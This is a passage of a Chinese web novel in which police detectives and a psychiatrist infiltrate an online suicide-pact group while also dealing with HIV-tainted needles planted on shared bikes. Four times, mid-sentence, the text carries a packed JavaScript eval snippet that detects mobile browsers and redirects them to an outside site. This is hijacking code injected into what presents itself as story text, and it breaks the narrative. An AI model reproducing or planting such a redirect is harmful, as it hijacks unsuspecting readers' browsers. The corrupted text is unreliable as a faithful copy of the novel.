从文学鉴赏的角度来评价,小作文写得很好,情感和技巧兼备,情节跌宕起伏,还有各种暗喻双关暗怂怂炫技,看得大家欲罢不能,纷纷催苏萌萌快写后续。 叶锦书闭上眼,拧了拧鼻梁,有些惋惜:“你这个号算是废了,涂羽肯定不会找你了。” “为什么啊?我可是严格按照夏哥说的‘想死又不敢自己死’的标准来写的!”苏萌萌不服气。 “这么隐秘的事,你觉得她会找论坛‘女明星’来参与吗?” 苏萌萌恍然大悟:“靠!我昨晚写那段,哭得都喘不上气儿了,结果你给我说我号废了!” 叶锦书拍了拍苏萌萌的肩膀,安慰她:“算了,披马甲在别的论坛发帖也能火,至少证明了,你是一个有硬实力的小说作者。” 安慰完苏萌萌,叶锦书又继续向后检查,冉季赶忙呈上自己的成果,张淞栩也凑过来看,只一眼便开始找茬儿:“你这个,我是涂羽我都不会找你!” “为什么啊?”冉季不解,这么短的时间,都不够看完一条动态,他凭什么就给自己宣判死刑了? “小季,算我求你,别全平台用你们家芭丝特的美照当头像了,谁家好人养了这么好看的小猫咪还舍得自杀啊?” 冉季当场被说服,羞愧地低下了头。 叶锦书又叹了一口气,把手机递还给冉季,摊开手朝张淞栩勾了勾指头。 张淞栩自信地滑开屏幕,将手机放在叶锦书掌心里,叶锦书看了两条,脸就垮了下来:“张松鼠,你这是什么富二代的无病呻吟?你这哪里像是想自杀的人?你这是凡尔赛吧!” “我怎么就凡尔赛了?” “还不凡尔赛吗?‘上班累得想死’,配图非得是你家别墅车库?” 张淞栩一哽:“那不是下车的时候想到这个文案,顺便拍了一张配图么,我这图拍的角落,又没露出我的车……” “呵,那你这超绝不经意露出的路王怎么解释?” “卧槽!我真没注意到,那是上次小季帮我骑回来的,”张淞栩毫不客气把锅甩了出去,“是小季停那儿的!” 叶锦书白了他一眼:“算了吧,你这个号,就是涂羽约你跳崖,她都怕你要先捐个三百万给镇政府把上山的路修好才肯上去,”说着把手机塞回给张淞栩,摇头道,“你这号也废了,换个人设再起吧,下一个。” 叶锦书又接过郭雪明递来的手机,总算有了个模范生,叶锦书稍微舒心了些,慢悠悠地评价:“雪明这个其实还行,虽然有点笨拙,但是很真实,可能是涂羽还没看到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16920636|192324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……你先这么着吧,等等看,说不定涂羽就找上门来了。” “老大,你这办法到底靠谱不靠谱啊,”张淞栩被叶锦书嫌弃,说起丧气话来,“万一到时候涂羽一个都没看上,我们这么耗着也不是办法啊……” “哇!夏哥牛逼!”苏萌萌突然发出一声惊呼。 叶锦书刚才是察觉到自己的手机震动了一下,见苏萌萌在滑动屏幕,也掏出手机,就看到“拯救登山爱好者”群里,最新一条消息是刚刚夏思勉发出来的一张聊天对话框截图,对方给夏思勉发了个入群邀请,正是“登山爱好者”群。 张淞栩:夏哥!你是我们全村的希望! 苏萌萌:夏哥,我将永远崇拜您! 冉季:[强] 郭雪明:[强] 夏思勉:那我加群了? 张淞栩:加! 夏思勉:叶锦书在吗 叶锦书:你加进去,见机行事 张淞栩:怎么办到的啊?你说了啥?涂羽怎么找上你的? 夏思勉:…… 夏思勉:就这么找上的 叶锦书:总之有什么情况,你拿不准的,随时在群里同步 夏思勉:好的,我已经加进去了,但是两个群名有点像,我怕弄混了,这个群可以改个名字吗? 几乎是在夏思勉这条消息发出来的同时,系统也弹出一条灰字提示:沈确已将群名改为“工作讨论组” 张淞栩:还得是我沈哥周到! 叶锦书:有效信息全部截图留证,发到群里,别发错了,你想办法接近涂羽,搞清楚她是怎样组织大家自杀的,你也多关注一下群里其他成员发的消息,有异常的也第一时间发群 夏思勉:ok * 健身房的更衣室里,沈确刚流了一身汗,洗过澡,换上干爽的衣服,现在浑身都舒畅了。 沈确把汗湿的衣服装进脏衣袋,拉紧收口,塞进背包里,又拉上背包拉链,转过身,拿出储物柜里的手机,滑开屏幕,“工作讨论组”里,夏思勉新发的几张截图,有张淞栩、苏萌萌、冉季轮流捧场,局里其他的工作群也一一检查了,没有和自己或是大案组相关的内容——在自己断联的两个小时里,没有大事发生,一切正常。 沈确点开设置,切换账号,对话框的顶部从“连接中”变为“收取中”,然后一口气刷新出一列头像右上角有红色数字的消息提示。 沈确一眼就看到了“一片羽”发来的新消息。 “一片羽”邀请你加入群聊“登山爱好者”,进入可查看详情。 一片羽:群里都是志同道合的朋友,你感兴趣的话,欢迎进群互相认识 沈确点击跳转到了新的聊天对话框,刚进群就刷新出了他进群的后的第一条消息,来自一个他再熟悉不过的头像。 心雾:和他分开后一直在失眠,一到晚上就会想很多,会后悔自己冲动的时候说出的那些话,也会埋怨他为什么一句解释的话也没有,我知道回不去了,想到他心会痛,可不想他又没法呼吸,好想见他,可真见到他又不敢多看他,原来曾经相爱的人分开之后,会比陌生人还不如 7.007 沈确的心跳漏了半拍。 这不过都是夏思勉为了立人设发出来的文字,不可信。 可另一边沈确也知道骗不过自己,这话里有几分真几分假,旁人可以不清楚,但他没法掩耳盗铃。 匆忙关掉对话框,看到屏幕下方有个小红点提示,沈确手快点开,手指便僵在半空。 我是群聊“登山爱好者”的心雾——是夏思勉发来的好友申请。 心脏在胸腔里剧烈跳动,仿佛上一秒才从跑步机上下来。 像是怕自己再慢一秒就会接受好友申请,沈确飞快按下返回,又切回了自己的账号,点开“工作讨论组”,敲下一行字:我的小号进群了,夏思勉可以找个机会退群了 消息还没来得及点击发送,手机接连震动了两下,是夏思勉发到群里的消息和截图。 夏思勉:有新人加群了,我发了好友申请,暂时还没有通过,她刚进群,也还没有发言,趁着她还没有被洗脑,如果通过了我的好友请求,我找机会劝劝她 资料页正是沈确的小号,微信名是沈确的小名,一个“岚”字。 叶锦书:哟,看到这微信名,你就不行了? 夏思勉:…… 苏萌萌:收到收到,明天我发给网安核实一下这个账号的实名信息 沈确默默删掉了刚才打出来的字,改成了:萌萌,我来跟进吧 叶锦书:看到同名的朋友,你也不行了? 张淞栩:原来是这个岚啊,不过沈哥真的叫岚岚啊?我以为老大瞎编的呢 冉季:为什么沈哥叫岚岚? 叶锦书:夏思勉来解释一下 夏思勉:…… 沈确:都该干嘛干嘛去吧 沈确锁上屏幕,斜跨上背包,“啪”的一声,关上储物柜柜门。 * 入秋之后,好像一天比一天冷了。 沈确走在回家的路上,一阵凉风吹来,裹挟着桂花淡淡的香味,烦躁的心情也随之被抚平。 只是工作而已,和谁共事都一样,就算是他讨厌的人,他也能够正常地交流配合,更何况他并不讨厌夏思勉。 沈确一直都知道,他算不上一个情感健全的人,因为他对人类没有具体的情感,他过去的人生一直在观察周围的人,然后模仿他们,欢笑、愤怒、悲伤,所有的情绪,都建立在“他认为此刻正常人会具备”的前提下,而他又是天生的演技派,所以才会至今都没有穿帮。 对沈确而言,夏思勉的确是特别的存在,在面对夏思勉的时候,他没有模仿的对象,也没有经验,他只能用自己的理解去和夏思勉相处,像是摸着石头在过河。 他在夏思勉面前展现出了太多的第一次,第一次露出破绽,第一次患得患失,第一次让某件事脱离自己的掌控,或充满期待地把决定权让渡给对方,沈确一边惊讶于自己的失态,一边感受着内心的悸动,并为此欢欣雀跃。 他怎么会不爱夏思勉呢?夏思勉那么好,夏思勉的爱也那么炽热,一寸一寸,几乎要把他的心脏融化掉。 可就在沈确沉溺在爱意之中,为余生会和夏思勉共度而感到喜悦憧憬的时候,夏思勉却突然爆发了。 那是沈确第一次见夏思勉如此歇斯底里,他说沈确,你是不是根本就不爱我,我和其他人,对你而言根本就没有区别,我每天像只狗那样觍着脸粘着你,你是不是觉得很烦?只有我日日夜夜都在担惊受怕会失去你,我越来越失控,变得越来越不像我,可发生变化的只有我,被折磨着,活在恐惧中的也只有我。看着我变成那样,你是什么心情?还是你从来都只觉得我只是个你召之即来挥之即去的爱慕者? 心脏几乎要被撕裂一般疼痛,沈确想要否认,他想说不是的,夏思勉从来就和其他任何一个人不一样,他也不知道自己为什么会给夏思勉造成这样的误会,他只是不懂怎么去爱一个人。 然后夏思勉说,其实你早就规划好了未来,对吧? 沈确的确已经在规划他们的未来了,他喜欢现在的生活,双方的父母并没有干涉他们,彼此的朋友也都清楚他们的情感状况,他们的工作已经走上了正轨,生活习惯上也在慢慢磨合,他们两个人加上阿努比斯,组成了属于他们的小家,这是沈确过去从未想过的,幸福得让几乎让他觉得不真实。 可就在沈确点头的瞬间,夏思勉眼里的火光却熄灭了,像是得到了意料之中的答案,夏思勉逞强着扯了扯僵硬的嘴角,说着我就知道,我就知道你从来没得觉得我们可以永远在一起,你早就已经决定好了,在某一天抛下我,回归“正常人”的生活。 最后夏思勉说,沈确,我也有尊严,与其等到爱你到无法自拔,离开你会死的时候,再可怜地被你抛弃,还不如现在就主动离开你。 沈确不知道夏思勉是如何得出这个结论的,但他清晰地听到脑中那根绷紧的弦断裂的声音,大脑中仅剩一小片区域维持着理性,那是他最后的防御机制,在情绪失控的时候只需要遵从就好,他的世界,秩序至上。 于是他在那套已经订立下来的规则中找到了答案,是在他们确定恋爱关系那一天,他给夏思勉的承诺——如果有一天夏思勉提出分手,无论夏思勉的理由是什么,他都一定会尊重夏思勉的选择,他允许夏思勉因为任何原因离开自己,也绝不会死缠烂打,只是也提醒夏思勉,想清楚再提分手,因为这样的机会只有一次。 自己说过的话,得说到做到,再舍不得,也不可以违背自己的承诺。 于是沈确忍着心疼,带着最后一丝妥协,向夏思勉递去台阶:“你想清楚了吗?” 可那时候的夏思勉也上头了,他的答案几乎不经大脑,打破了沈确最后的一丝幻想:“当然想清楚,想得再清楚不过了!我讨厌现在的我,也讨厌把我变成这样的你,如果分开是注定的结局,那那个结局不如在我还可以承受的时候到来……” 其实夏思勉当时还说了些什么,可沈确已经记不清了,因为他满脑子都是夏思勉说,我讨厌把我变成这样的你。 原来自己眼中渐入佳境的磨合,是夏思勉讨厌的事情。 沈确停下脚步,仰起头,将堵在胸口的那团气呼了出去。 烦死了,明明应该忘记了才对,为什么要去回想这件事,胸口都痛起来了。 他将握着手机的手从口袋里抽了出来,按亮屏幕,解锁,切换小号,同意了“心雾”的好友申请。 可是沈确还是喜欢夏思勉。 夏思勉排在第一位,这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16926079|192324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 件事,他也已经写进自己的规则里了。 * 沈确到大案组办公室的时候,只有郭雪明已经到了,见沈确来了,郭雪明开口给他打招呼:“沈哥,早呀!” “早。” “好像出事了。”郭雪明立马接了一句。 其实沈确隐约察觉到了,这一路他遇到刑侦队的每个人都步履匆匆,或是在讨论着什么,但沈确一向如此,只要没人向他寻求帮助,他就不会主动开口询问。 沈确拉开椅子坐了下来,擦桌面,开电脑,准备泡茶,按部就班的完成他每天到办公室都会做的事,不紧不慢地回答郭雪明:“如果需要我们协助,一会儿叶队会安排的。” “卧槽!出大事儿了!”声音先于张淞栩本人抵达大案组办公室,看到沈确和郭雪明,张淞栩一刻不停,将刚打探到的消息转述出来,“前阵子不是有个聊天记录火了么,就几个艾滋病人报复社会的那个群,他们故意去夜店猎艳,然后把病传染给别人。” “那个后来不是辟谣了吗?当天就被找到了,他说是为了好玩儿,博眼球,才和几个朋友建了那么一个群,他们的聊天内容也是剧本,后面当地派出所还把那个群里的人全部拉去医院检查了,都没问题,群里发的照片,也核实了是网图。”郭雪明起身朝着张淞栩走了过去。 “是,是,那个是辟谣了,但是这次这个是真的了!”张淞栩表情夸张,“简直疯了!是个那种水果店的客户群,有个人突然发了一段话,差不多就是说他也是被人传染的,他越想越想不通,凭什么只有他被这个病毁掉,所以他也要拉人下水,然后他干了件比去猎艳传播还歹毒的事情!” 沈确泡好茶走回座位,就当听八卦了,连人带椅子一起转向张淞栩的方向。 “他把自己的血掺在果切里了?”郭雪明难以置信。 “那倒没有,他不是水果店的店员,就是附近的住户,他把带有自己血液的针头,插在共享单车的座椅上了!他疯了吧!这和无差别杀人有什么区别?要是骑到那辆共享单车的人没有察觉到,不就中招了?” “坐垫上有针头,应该会发现的吧?”郭雪明试图击破这个推测。 “不知道啊!这还不是最恐怖的!你知道最恐怖的是什么吗?他一直迂回,说他放了不少于两位数的针头,派出所的兄弟也看到他手臂上的针孔了,可具体有多少针头,不说,具体放在哪些地方,也不说。从昨天下午抓到他开始审,审了一晚上,都现在都没松口,但共享单车的统一充电点就只有那几个,全城的共享单车都会被运到充电点充完电,又随机投放,这就意味着,那些共享单车,很可能已经流通到其他的区了!” “联系共享单车的公司了吗?”沈确总算开了口。 “联系了,但已经晚了,那孙子又不一定是昨天放的,他只是昨天发消息到群里,立刻就被群友举报了,而且这样的行为很可能不是第一次,只要他愿意,不止是共享单车的坐垫,公交车,电影院,商场,任何地方,他都可以,那这也太恐怖了!” “早呀!”苏萌萌推门而入,看到张淞栩讲得声情并茂,笑着问他,“松鼠,讲什么呢,汗都讲出来了,我在外面就听到你嚷嚷了,又有什么东西‘太恐怖了’?” 8.008 “萌萌,出大事了!” 眼看张淞栩又要重复一遍刚才说的内容,沈确先一步开口,顺便精简了一下内容:“有艾滋病毒携带者,把沾有自己血液的针头插在共享单车坐垫上,据他所说有数十辆,但他不愿意向警方透露更具体内容,有毒针的共享单车很可能已经在全城范围内流通了。” 苏萌萌听完倒吸了一口凉气,半晌才吐出三个字:“疯了吧……” “不过,我想要补充一点,”和危言耸听的张淞栩,以及惊吓过度的苏萌萌不同,沈确毕竟出生在医学世家,双亲都是C医大的教授,对基本医理也有了解,他的态度平和许多,“艾滋病毒其实很脆弱,离开人体环境,活性和传染性会迅速下降,理论上,针头刺穿人体,会有传染风险,但如果针头长时间暴露在外,在有紫外线照射和自然风干的环境下,病毒很快就会被消灭,快则几个小时,慢的话,应该也只能坚持两三天吧。” 不知为何,听沈确这么一说,办公室里其余三人都松了一口气,但张淞栩不放心,非要沈确的定心丸:“所以,你的意思是?” “我的意思是,在我看来,他这个报复社会的行为,成功率应该非常低。” * 虽然这是被沈确盖章认证过的“成功率很低”的病毒传播方式,但警方既然已经知情,就不能毫无作为。 警方第一时间就联系了共享单车公司,远程锁定了全城的共享单车,共享单车公司员工和派出所民警分别逐个排查,排除风险。 这需要投入大量人力进去,各分局刑侦队和治安队都出动了,大案组也接到了指示,协助排查,尽早排除风险。 于是大案组兵分两路,沈确和苏萌萌盯着涂羽,叶锦书则带着其他人投入了这个覆盖全城的大排查行动。 * 涂羽在一家传媒公司做直播助理,此刻沈确的车就停在传媒公司楼下的临停车位里。 涂羽的工作内容很繁琐,非直播时间,需要对接客户,参与选品,维护粉丝群,直播时间则需要打起十二分的精神,上链接,盯库存,还得做直播间的气氛组,跟着主播喊口号。 苏萌萌端着手机,画面中的主播正在介绍产品,当她介绍完,画面之外的声音便附和着和她一起喊喊出:“三、二、一——上链接!” 其中那个元气十足的女声便是涂羽的。 “好难想象,那个在直播间里活泼的女孩子,竟然是约死群的群主……”苏萌萌忍不住感叹。 见沈确没有回应自己,手指还一刻不停歇地滑动着手机屏幕,苏萌萌便鬼鬼祟祟地凑了过去,还没靠近,就听到沈确开口:“有什么想象不到的,有些女孩子,看上去漂漂亮亮斯斯文文的,不也会偷看别人的手机吗?” 苏萌萌僵在半道,还没来得及退回去,锁上手机屏幕的沈确已经转头看了过来,嘴角牵起一抹坏笑,又轻轻抬了抬下巴,示意窗外。 苏萌萌转过头,就看到外卖小哥站在窗前,正要抬手来敲车窗玻璃,她连忙落下车窗,懵懵懂懂地接过外卖袋打开,里面是一碗糖水。 * “不过这个工作,的确很消耗能量吧,要求情绪一直那么饱满,像打了鸡血一样……但如果是工作太累,辞职也行啊,没必要寻短见啊……”苏萌萌发表完感慨,舀了一勺混着桃胶的椰汁送进嘴里。 “其他呢?家庭,爱情,社交,涂羽有工作以外的烦恼吗?”沈确总算把视线落到了直播画面上,但也依旧只闻其声不见其人。 “嗯……重大变故是没有的,父母健在,近期也没有生病住院的记录,从她的社交媒体看来,应该也没有谈恋爱……可我总觉得我们漏掉了什么重要的信息,仅凭我们已知的信息,我真的找不到她想要自杀的点。 沈确突然反问苏萌萌:“你认为,怎样的才能算是‘想要自杀的点’?” 苏萌萌被沈确问得一愣,但很快就举了个现成的例子:“比如像宋千凡那样的呀,因为车祸,不仅身体受到不可逆的伤害,毁容,感情破碎,学业中断,还几乎掏空了家底,宋千凡那样的情况,如果说他想要自杀,我都稍微可以理解一些吧!” “只能说宋千凡的遭遇,是你认可的‘悲惨遭遇’,但那不代表涂羽正在经历的一切就不叫‘痛苦’,我见过一个小时前在饭局上笑着和大家开玩笑,又在聚餐结束后就回家跳楼的人,每个人都有自己的地狱,我们粗浅的观察,很难看到他们心底的苦楚,不要轻易用我们的‘想当然’去评判别人的人生。” 听完沈确一番话,苏萌萌反倒是嘴一瘪,委屈了起来,沈确赶紧投降:“我不是想要向你说教,只是我觉得我们不应该局限在自己的三观里,那样会错过很多有效线索。” 说话间,沈确的手机震动起来,中控台上显示是叶锦书的来电。 沈确接通电话,叶锦书的声音就从音响里传了出来:“怎么样?” “在涂羽公司楼下看她直播,”沈确回答,又反问叶锦书,“你们那边呢,怎么样?” “说了你不信,”叶锦书用戏谑的语气吐出两个字,“真有。” 车里的两个人都倒吸了一口凉气。 “那怎么办?”苏萌萌急了,“会不会有人已经中招了?” “说不准,已经送回去给法医科鉴定了,看看上面能不能采集到血液样本吧。” “网安打算怎么处理?”沈确的神情有些严肃,“今天全城的共享单车都远程锁死,还有警察在检查,网上已经有风言风语了。” 苏萌萌这才反应过来,刚才沈确是在看网络舆论风向。 “不知道,应该会等全城检查完了,视结果决定下一步吧……” “叶锦书,你应该知道,这个东西,阻断的黄金时间就是感染后的两个小时,超过24小时阻断成功率就会降低,超过72小时就不可逆了。” “那沈公子意下如何?让‘平安C市’发通报,呼吁近两天骑过共享单车的市民都去医院检查一下,然后引发全城恐慌吗?不是你说的,这种方式感染成功率极低吗?” 沈确被叶锦书堵得没话说,舒了一口气出来。 “我们知道的事情,上面也知道,具体要怎么做,也是他们综合考量后下判断,我们这些小太监,就别操心皇帝的事儿了。” “我可不是。”即使在这个时候,沈确也不会给叶锦书在言语上占自己便宜的机会。 叶锦书轻笑一声:“是,你不是我是呗。” “这就是你自己说的了,我可什么都没说。” “好了,说正事,今天忘了问你,昨天夏思勉发到群里那个新群员,你说你跟进的。” “嗯,我看过资料了,没什么问题。”沈确面不改色。 电话那头的叶锦书做了一个不易察觉的停顿,才说:“那行,我就让夏思勉看着和他聊了。” * 涂羽下班后径直回了家,叶锦书和冉季在涂羽家楼下换了沈确和苏萌萌的班。 送苏萌萌回滨海分局的路上,沈确隐约觉得她有话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16931735|192324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想对自己说。 高峰期的腾龙大道异常拥堵,苏萌萌果然按捺不住了,开口问沈确:“沈哥,我有一个问题,不知当问不当问……” “如果你有这个想法,就别问。”沈确扶着方向盘,盯着前路,并没有打算和苏萌萌有任何眼神交流,毕竟这个时候,只要和苏萌萌对视了,就会被她缠上。 “可我就是想问嘛!” 没想到是直接耍赖。 沈确轻叹了一口气,只能认栽:“问吧。” “嘿嘿,你真的叫岚岚啊?” 沈确哭笑不得:“我还以为是什么难以启齿的问题呢……” “不难以启齿吗?那昨晚在群里,松鼠说到这个,你超凶的!我们都以为你生气了!” “我干嘛要生气……” “大概因为,很像女生的名字?” “本来就是女生的名字,我妈想要女儿,名字都起好了,每天都摸着肚子‘岚岚’‘岚岚’地叫,结果叫了个儿子出来,听说我妈生我的时候难产,一滴眼泪没掉,生到后面力气都没有了,好不容易生出来了,听说是个儿子,‘哇’的一声就哭出来了。” “哈哈哈哈!”苏萌萌大笑出声,“那怨念应该很深了,你该庆幸,阿姨没有叛逆地直接给你起名沈岚。” “其实叫沈岚我也没意见,反正名字只是个代号。” “也是……不过沈岚也很好听啊!山林中的雾,有种神秘朦胧的美。” “你懂得还挺多的嘛。”沈确笑。 “拜托,我可是写小说的,我起名的时候也是会翻《说文解字》的!”苏萌萌气鼓鼓地抗议起来。 “好,未来的畅销书作家,祝你早日成功。” * 沈确到家楼下的时候已经七点过了,他懒得做饭,索性就去小区外面的拉面店对付一餐。 等餐的时候,沈确检查了一下过去两个小时手机上的新消息。 有他们家两位教授发来的烛光晚餐,沈确配合地回复了一个点赞的表情包。 有滨海分局大群和刑侦队大群就他们今天参与全区排查的结果,滨海新区排查全部结束,发现座椅上有针头一例,已经送回分局法医科检验了,领导催着要结果反馈到市里。 还有夏思勉发在“工作讨论组”里的“登山爱好者”群内部分聊天内容,都是大同小异的负能量言论截图,只是这个夏思勉心机地避开了自己发的内容。以及汇报新群友“岚”已经通过了他的好友请求,只是暂时还没有回复他的消息。 沈确切换到小号,果然就看到了“心雾”发来的消息。 心雾:你好,会加入这个群,你一定是在生活中遇到了一些不开心的事情,如果你想要找个人倾诉的话,随时可以给我发消息,我看到了一定会回复的 看着屏幕上的文字,沈确的心脏抽疼了一下。 连陌生人都可以随时给他发消息,看来夏思勉说得没错,他们之间的关系,已经连陌生人都不如了。 手机又震动了一下,沈确没有回复夏思勉,按下了左上角的返回键。 “地狱辣豚骨拉面——请您慢用!”拉面师傅把拉面放在板前,沈确道过谢,自己端了下来。 拌好面,沈确的视线又回到手机屏幕上,才发现刚才的震动是涂羽发来了新消息。 一片羽:岚,晚上好,我们群下次集体活动定在下周三,地点是舒城苍耳山,如果你感兴趣的话,也可以参加,如确定要参加,请回复我,我再同步你具体事项 9.009 叶锦书推开露台的玻璃门,果然看到沈确的背影,他走到沈确身边,自觉地掏出香烟来点上,沈确全程把他当空气。 “你总不能一辈子不理我吧?”叶锦书这是开玩笑的语气,“你有情绪就说出来嘛,你这样,我怪心慌的。” 但这不是开玩笑的时候。 “既然时间地点都已经确认了,群里大家互相也都没有见过,我们组谁都可以当这个‘心雾’,我不明白你答应夏思勉本人去赴约的意义是什么。”沈确的态度难得强硬。 “哎,一开始我也是这么跟夏思勉说的,但是夏思勉的意思是,之前一直是他在群里发言的,而且他是专业的精神科医生,他比我们清楚该怎么和抑郁症患者相处,我们要是没有处理好,对方真的可能会一言不合就跳崖……” “这种鬼话你相信吗?”沈确打断他。 叶锦书无奈一笑:“那我能怎么办?我能说开吗?告诉他,‘岚’是你的小号,我们可以有双警组合,万无一失?” 沈确转头看向叶锦书,眼里闪过一丝惊慌,那眼神分明是在问“你怎么知道”。 “干嘛,”叶锦书好笑,“我可没去查你的小号啊,我只是觉得,世界上不该有这么多巧合,虽然不知道为什么第一时间你没有认领,但既然你这么做了,应该也有自己的理由。” 沈确没有否认,他回过头,含住烟又吸了一口。 “你收到涂羽的约死邀请了吗?”叶锦书又问。 “嗯,”沈确呼出烟雾,“应该是群发的,其实我们把问题想复杂了,我们想要的证据很可能根本就不会出现在线上,涂羽只需要在线上发出邀请,线下碰了面就能水到渠成,只是我想不明白一件事……” “线下的组织者?” “是,我让萌萌查了御风山和影山约死前后三天涂羽的出行记录,事发的那两天,她都没在现场,那在线下推动流程的人又是谁呢?去到线下的人,在没人推动的前提下,真的能够共脑,默契地一起手牵手跳下去吗?” “会不会是涂羽选择了一个所谓的‘队长’?”叶锦书推测。 “那涂羽扮演的角色又是什么呢?”沈确看向叶锦书,“志愿者吗?上网的时候找到想要自杀的人,邀请进群,再组织他们自杀?你觉得,一个真正想死的人,会花时间力气,来组织别人自杀,自己只是看着?” “组织、煽动、教唆他人自杀,她这是在杀人。”叶锦书纠正,唇角勾起一个笑来。 “不对,”沈确摇头,“她不是单纯地在报复社会,有目的地挑选可能自杀的对象教唆他们自杀,她肯定也是想死的,你应该也看到了吧,她手腕上的疤。” * 收到涂羽发来的“活动邀请”后,夏思勉就进入了倒计时状态,为了下周三去舒城赴约,他得预留出前后两天的时间,和同事换好班,也和他C医大的师兄钱年剑说好了,自己外出期间,钱年剑每天去他家喂食遛狗,所有事情都落实好了,他竟有一种交代好后事的轻松。 这是夏思勉从接到这个任务,和大案组讨论,在论坛发帖,到涂羽找上门,又受邀加入“登山爱好者”群,进群后向大案组同步群内聊天内容,商量后续对策以来,第一次发生身份认识错误,不是警方的协助者,而是一个下周三就要和一群陌生人共赴死亡的群成员。 意识到这件事,夏思勉不由得后背一凉,连他这个加群目的明确,没有任何自杀倾向的人,在那样的环境下被熏陶了几天,也产生了负能量,即使他能从学术的角度剖析“约死”的原理,以身入局后也难保可以独善其身,更何况是本就丧失生的希望,被抑郁症折磨,或是承受着多重压力的其他群员。 夏思勉昨晚第一时间将涂羽的截图发到了大案组的工作群里,看到进展,大案组众人纷纷捧场表扬,连叶锦书都夸夏思勉干得好,同时宣布夏思勉的工作已经完成了,毕竟“登山爱好者”群里没人见过夏思勉,大案组任何一个人都可以扮演“心雾”去赴约。 但夏思勉第一时间就拒绝了,按照叶锦书说的的确可行,这意味着有六分之一的概率会是沈确,但这只是平均概率,稍微分析一下就能发现,叶锦书不会安排唯一的女生苏萌萌去这种有危险的地方,苏萌萌的身体素质是短板,如果同行约死的群友有男性,遇到突发状况,即使苏萌萌在场,很可能也没法控制局面,冉季虽然身体素质过关,但他是个新人,没有经验,还很单纯,他并不能胜任这份工作,剩下的张淞栩和郭雪明,一个话多冒失,一个沉默寡言,如果叶锦书来指挥行动,那么沈确就是最好的选择。 夏思勉才不会让沈确去冒这个险。 好在叶锦书体恤自己,毕竟自己情急之下说出的那个烂理由,不足以说服那人精,但无论如何,叶锦书还是答应了由自己亲自前去赴约,大案组视现场情况,在附近跟随,有突发状况立马支援。 解决了眼下最大的问题,夏思勉仍然不敢松懈,他还有一个在意的事情——那个叫“岚”的新群员。 虽然对方通过了夏思勉的好友申请,但从未回复只言片语,“岚”也从来没有在群里发言,重度抑郁的患者会丧失与人交流的欲望,夏思勉担心这个“岚”就是这种情况,而如果她也收到涂羽发出的邀请,很可能会赴约,无论如何,在下周三到来之前,夏思勉都想尽全力劝住她。 这样想着,夏思勉又滑开手机屏幕,点开了和“岚”的聊天对话框,果然还是没有收到回复。 夏思勉删删打打,检查了好几遍,就在按下发送键的前一秒,脑海中突然浮现出叶锦书在群里对自己的调侃,甚至能够脑补出叶锦书说话的语气。 叶锦书说得没错,自己如此执着努力,想要拯救手机那头的那个冷漠的,从未给过自己回应的陌生人,仅仅只是因为她的网名和沈确的小名一样,自己对她的一切关心,都只是对沈确爱意的投射,明明自己是个害怕承担他人生死的自私鬼,也从未在意过群里其他人下周三是否会赴约。 装得那么善良,说到底,不过是最低级的自我感动。 夏思勉扯了扯嘴角,却还是按下了发送键。 * 出发前一天,阿努比斯像是知道夏思勉要出远门了,在小区里走了两圈也不肯回家,还拽着夏思勉往小区门口走。 夏思勉也只能依了,虽然他已经猜到了阿努比斯的目的地是两条街以外的美食街,这狗已经成精了,看到他收拾了行李,知道他要出远门,一定会满足自己的一切心愿。 夏思勉拽着牵引绳,控制着阿努比斯的速度,先和它约法三章:“先说好了,就一根火山石烤肠,吃完就回家,不准耍赖。” 阿努比斯回头看了夏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16936252|192324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 思勉一眼,也没表示答不答应。 要是在沈确面前,阿努比斯才不敢这么放肆,夏思勉想着,胸口又是一抽,看着阿努比斯宽厚的黑背,才惊觉阿努比斯竟然已经这么大了,明明刚买回来的时候还是个又黑又小的毛绒团子,沈确还笑它像只小土狗。 看来白薇说的也不对啊,就算两个人一起养大了宠物,养出了感情,可真到分开的那一天,沈确不也是决绝地离开了吗? 手里的牵引绳突然往前一挣,夏思勉也被带着一踉跄,阿努比斯的尾巴飞快地摇摆起来,八成又看到什么感兴趣的东西了,开心成这样。 